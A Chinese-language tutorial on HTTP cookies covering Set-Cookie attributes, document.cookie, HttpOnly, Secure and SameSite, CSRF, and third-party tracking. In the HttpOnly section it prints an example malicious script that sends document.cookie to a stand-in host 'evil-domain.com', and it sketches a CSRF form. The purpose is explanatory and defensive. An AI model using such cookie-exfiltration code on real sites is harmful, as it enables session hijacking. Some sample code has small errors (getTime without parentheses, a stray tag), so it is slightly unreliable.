#### 什么是Cookie

Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

## Cookie 的作用

Cookie 主要保存状态信息,以下是一些主要用途。

- 对话 (session) 管理:保存登录、购物车等需要记录的信息。
- 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
- 追踪用户:记录和分析用户行为。

## Cookie 存在的问题和合理应用

Cookie 不是一种理想的客户端储存机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。

### 一个Cookie 所包含的内容

- Cookie 的名字
- Cookie 的值 (真正的数据写在这里面)
- 到期时间(超过这个时间会失效)
- 所属域名 (默认为当前域名)
- 生效的路径 (默认为当前网址)

举例来说,用户访问网址 www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为 www.example.com,生效路径为根路径 /。如果 Cookie 的生效路径设为 /forums,那么这个 Cookie 只有在访问 www.example.com/forums 及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。

## 浏览器设置查看和设置cookie

用户可以设置浏览器不接受 Cookie, 也可以设置不向服务器发送 Cookie。

// window.navigator.cookieEnabled 属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。window.navigator.cookieEnabled // true

document.cookie 属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

#### 浏览器上如何查看Cookie

• 浏览器 -> 开发者工具 -> Application



### Cookie的数量和大小限制

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。

### 同源策略对Cookie的影响

浏览器的同源政策规定,两个网址只要域名相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com 设置的 Cookie,可以被https://example.com 读取。

# Cookie 与 HTTP 协议

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

HTTP 回应: Cookie 的生成

set-Cookie

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个 Set-Cookie 字段。

Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为 foo 的 Cookie, 它的值为 bar。

## 一个回应设置多个Set-Cookie

HTTP 回应可以包含多个 Set-Cookie 字段,即在浏览器生成多个 Cookie。下面是一个例子。

HTTP/1.0 200 OK

Content-type: text/html

Set-Cookie: yummy\_cookie=choco
Set-Cookie: tasty\_cookie=strawberry

[page content]

# Set-Cookie 字段附加 Cookie 的属性。

```
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```

上面的几个属性的含义,将在后文解释。

# 一个 Set-Cookie 字段里面,可以同时包括多个属性,没有次序的要求。

```
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
```

下面是一个例子。

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### 服务器修改Cookie

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的 key 、 domain 、 path 和 secure 都匹配。举例来说,如果原始的 Cookie 是用如下的 Set-Cookie 设置的。

```
Set-Cookie: key1=value1; domain=example.com; path=/blog
```

改变上面这个 Cookie 的值,就必须使用同样的 Set-Cookie。

```
Set-Cookie: key1=value2; domain=example.com; path=/blog
```

只要有一个属性不同,就会生成一个全新的 Cookie, 而不是替换掉原来那个 Cookie。

```
Set-Cookie: key1=value2; domain=example.com; path=/
```

上面的命令设置了一个全新的同名 Cookie,但是 path 属性不一样。下一次访问 example.com/blog 的时候,浏览器将向服务器发送两个同名的 Cookie。

```
Cookie: key1=value1; key1=value2
```

上面代码的两个 Cookie 是同名的, 匹配越精确的 Cookie 排在越前面。

## HTTP 请求: Cookie 的发送

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的 Cookie 字段。

```
Cookie: foo=bar
```

上面代码会向服务器发送名为 foo 的 Cookie, 值为 bar。

Cookie 字段可以包含多个 Cookie, 使用分号(;)分隔。

```
Cookie: name=value; name2=value2; name3=value3
```

下面是一个例子。

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

## 服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

- Cookie 的各种属性,比如何时过期。
- 哪个域名设置的 Cookie, 到底是一级域名设的, 还是某一个二级域名设的。

# Cookie 的属性

## **Expires**

Expires 属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,**可以使用** Date.prototype.toUTCString() 或者 date.toGMTString() 进行格式转换。

```
Set-Cookie: id=a3fwa; Expires=wed, 21 Oct 2015 07:28:00 GMT;

var date = new Date();
date.setTime(date.getTime + 24 * 60 * 60 * 1000);

// Set-Cookie: id=jayden; Expires=${date.toGMTString()}
Set-Cookie: id=jayden; Expires=${date.toUTCString()}
```

如果不设置该属性,或者设为 null, Cookie 只在当前会话 (session) 有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,但是由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

#### UTC 和 GMT 的区别

GMT: **G**reenwich **M**ean **T**ime 格林尼治标准时间。这是以英国格林尼治天文台观测结果得出的时间,这是英国格林尼治当地时间,这个地方的当地时间过去被当成世界标准的时间。

UT: **U**niversal **T**ime 世界时。根据原子钟计算出来的时间。

由于现在世界上最精确的原子钟50亿年才会误差1秒(<u>最精确原子钟问世:50亿年误差一秒</u>),可以说非常精确。而GMT因为是根据地球的转动来计算时间的,而地球的自转正在缓速变慢,所以使用GMT的话,总有一天,打个比方,中午12点,并不是一天太阳当头照的时候,很可能就是早上或者晚上了。所以说UTC更加精确

### Max-Age

Max-Age 属性指定从现在开始 Cookie 存在的秒数,比如 60 \* 60 \* 24 \* 365 (即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

```
document.cookie = 'key=value; max-age=3000';
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
```

#### 如果同时指定了 Expires 和 Max-Age , 那么 Max-Age 的值将优先生效。

如果 Set-Cookie 字段没有指定 Expires 或 Max-Age 属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

#### Domain, Path

Domain 属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如, example.com 不设置 Cookie 的 domain 属性,那么 sub.example.com 将不会附带这个 Cookie。如果指定了 domain 属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。

Path 属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path 属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH 属性是 / ,那么请求 /docs 路径也会包含该 Cookie。当然,前提是域名必须一致。

Set-Cookie: id=1a2b3c; domain=example.com; path=/test

# Secure, HttpOnly

Secure 属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的 Secure 属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是 document.cookie 属性、XMLHttpRequest 对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" +
document.cookie;
```

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的 Httponly 属性,上面代码就不会读到该 Cookie。

#### SameSite

Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站 your-bank.com,银行服务器发来了一个 Cookie。

```
Set-Cookie:id=a3fwa;
```

用户后来又访问了恶意网站 malicious.com, 上面有一个表单。

```
<form action="your-bank.com/transfer" method="POST">
...
</form>
```

用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,表单一般都带有一个随机 token,告诉服务器这是真实请求。

这种第三方网站引导发出的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户 追踪。比如,Facebook 在第三方网站插入一张看不见的图片。

```
<img src="facebook.com" style="visibility:hidden;">
```

浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。

Cookie 的 SameSite 属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。

- Strict
- Lax
- None

#### (1) Strict

Strict 最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

```
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
```

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

#### (2) Lax

Lax 规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。

```
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
```

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

请求类型	示例	正常情况	Lax
链接	<a href=""></a>	发送 Cookie	发送 Cookie
预加载	<pre><link href="" rel="prerender"/></pre>	发送 Cookie	发送 Cookie
GET 表单	<pre><form action="" method="GET"></form></pre>	发送 Cookie	发送 Cookie
POST 表单	<pre><form action="" method="POST"></form></pre>	发送 Cookie	不发送
iframe	<pre><iframe src=""></iframe></pre>	发送 Cookie	不发送
AJAX	\$.get("")	发送 Cookie	不发送
Image	<img src=""/>	发送 Cookie	不发送

设置了 Strict 或 Lax 以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

#### (3) None

Chrome 计划将 Lax 变为默认设置。这时,网站可以选择显式关闭 SameSite 属性,将其设为 None。不过,前提是必须同时设置 Secure 属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效。

```
Set-Cookie: widget_session=abc123; SameSite=None
```

下面的设置有效。

```
Set-Cookie: widget_session=abc123; SameSite=None; Secure
```

# document.cookie

document.cookie属性用于读写当前网页的 Cookie。

读取的时候,它会返回当前网页的所有 Cookie, 前提是该 Cookie 不能有 HTTPOnly 属性。

```
document.cookie // "foo=bar;baz=bar"
```

上面代码从 document.cookie 一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

```
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar</pre>
```

document.cookie 属性是可写的,可以通过它为当前网站添加 Cookie。

```
document.cookie = 'fontSize=14';
```

写入的时候,Cookie 的值必须写成 key=value 的形式。注意,等号两边不能有空格。另外,写入Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeuRIComponent 方法达到。

但是, document.cookie一次只能写入一个 Cookie, 而且写入并不是覆盖, 而是添加。

```
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
```

document.cookie 读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie 字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie 字段是一行设置一个Cookie。

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

```
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
```

上面代码中,写入 Cookie 的时候,同时设置了 expires 属性。属性值的等号两边,也是不能有空格的。

#### 属性与属性间使用;+''(分号加空格进行分割)

各个属性的写入注意点如下。

- path 属性必须为绝对路径,默认为当前路径。
- domain 属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是 example.com,就不能将其设为 foo.com。该属性默认为当前的一级域名(不含二级域名)。
- max-age 属性的值为秒数。
- [expires 属性的值为 UTC 格式,可以使用 Date.prototype.toUTCString() 进行日期格式转换。

document.cookie 写入 Cookie 的例子如下。

```
document.cookie = 'fontSize=14; '
    + 'expires=' + someDate.toGMTString() + '; '
    + 'path=/subdirectory; '
    + 'domain=*.example.com';
```

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法,是设置它的 expires 属性为一个过去的日期。

```
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
```

上面代码中,名为 fontSize 的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。

# 练习

• 浏览器端cookie的增删改查

```
var manageCookie = {
    set: function(key, value, expiresTime) {
        document.cookie = key + '=' + value + '; max-age=' + expiresTime;
        return this;
    },
    delete: function(key) {
        this.set(key, '', -1);
        return this;
    },
    get: function(key, callback) {
        var cookiesArray = document.cookie.split('; ');
        for (var i = 0; i < cookiesArray.length; i++) {
            var cookieItem = cookiesArray[i];
            var cookieItemArray = cookieItem.split('=');
            if (cookieItemArray[0] === key) {
                callback(cookieItemArray[1]);
                return this;
            }
        }
        callback(undefined);
        return this;
   }
}
manageCookie.set('name', 'jayden', 1000)
    .set('age', '20', 1000)
    .set('sex', 'female', 3000)
    .delete('name')
    .get('age', function(data) {
        console.log(data);
    });
```

# 参考链接

- HTTP cookies, by MDN
- <u>Using the Same-Site Cookie Attribute to Prevent CSRF Attacks</u>

- <u>SameSite cookies explained</u>
- <u>Tough Cookies</u>, Scott Helme
- <u>Cross-Site Request Forgery is dead!</u>, Scott Helme